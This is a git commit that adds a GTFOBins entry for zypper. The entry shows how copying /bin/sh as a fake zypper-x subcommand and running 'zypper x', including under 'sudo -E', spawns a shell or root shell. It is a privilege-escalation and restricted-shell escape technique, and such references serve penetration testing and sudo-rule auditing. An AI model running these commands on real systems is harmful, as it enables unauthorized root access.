Add zypper

Close #52.
master
the-remmer 2019-02-22 12:51:30 +01:00 committed by Andrea Cardaci
parent dd9f4269ed
commit 8c03983ab8
1 changed files with 21 additions and 0 deletions

21
_gtfobins/zypper.md Normal file
View File

@ -0,0 +1,21 @@
---
functions:
shell:
- description: This requires `/bin/sh` to be copied to `/usr/lib/zypper/commands/zypper-x` and this usually requires elevated privileges.
code: |
zypper x
- code: |
TF=$(mktemp -d)
cp /bin/sh $TF/zypper-x
export PATH=$TF:$PATH
zypper x
sudo:
- description: This requires `/bin/sh` to be copied to `/usr/lib/zypper/commands/zypper-x` and this usually requires elevated privileges.
code: |
sudo zypper x
- code: |
TF=$(mktemp -d)
cp /bin/sh $TF/zypper-x
export PATH=$TF:$PATH
sudo -E zypper x
---